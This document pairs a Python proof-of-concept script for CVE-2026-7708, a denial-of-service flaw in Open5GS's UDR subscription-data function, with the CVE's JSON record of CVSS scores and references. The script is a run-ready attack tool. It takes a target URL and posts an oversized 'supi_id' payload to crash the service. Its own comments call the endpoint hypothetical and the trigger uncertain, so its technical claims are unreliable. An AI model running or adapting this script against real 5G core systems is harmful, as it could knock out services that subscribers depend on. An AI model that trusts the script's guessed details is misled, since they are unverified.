CVE-2026-7708

#!/usr/bin/env python3 """ PoC for CVE-2026-7708 (Open5GS DoS) This script demonstrates how a manipulated supi_id might trigger the vulnerability. """ import requests import sys def exploit(target_host): # Hypothetical endpoint triggering the vulnerable function url = f"{target_host}/nudr-dr/v1/subscription-data" # The vulnerability is triggered by manipulating the 'supi_id' argument # Sending a malformed or oversized payload to ogs_dbi_subscription_data malicious_payload = { "supi": "imsi-999990000000001", "supi_id": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" # Malformed input } headers = { "Content-Type": "application/json", "Accept": "application/json" } try: print(f"[+] Sending payload to {url}...") response = requests.post(url, json=malicious_payload, headers=headers, timeout=5) print(f"[+] Server responded with status: {response.status_code}") # If the service crashes, subsequent requests will fail except requests.exceptions.Timeout: print("[!] Request timed out - possible DoS condition triggered.") except requests.exceptions.ConnectionError: print("[!] Connection refused - service may have crashed.") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_url>") sys.exit(1) exploit(sys.argv[1])

{"cve": {"id": "CVE-2026-7708", "sourceIdentifier": "[email protected]", "published": "2026-05-03T23:16:42.207", "lastModified": "2026-05-05T19:13:44.530", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in Open5GS up to 2.7.7. The affected element is the function ogs_dbi_subscription_data in the library /lib/dbi/subscription.c of the component UDR. This manipulation of the argument supi_id causes denial of service. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "baseScore": 4.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-404"}]}], "references": [{"url": "https://github.com/open5gs/open5gs/", "source": "[email protected]"}, {"url": "https://github.com/open5gs/open5gs/issues/4412", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/805701", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/360884", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/360884/cti", "source": "[email protected]"}]}}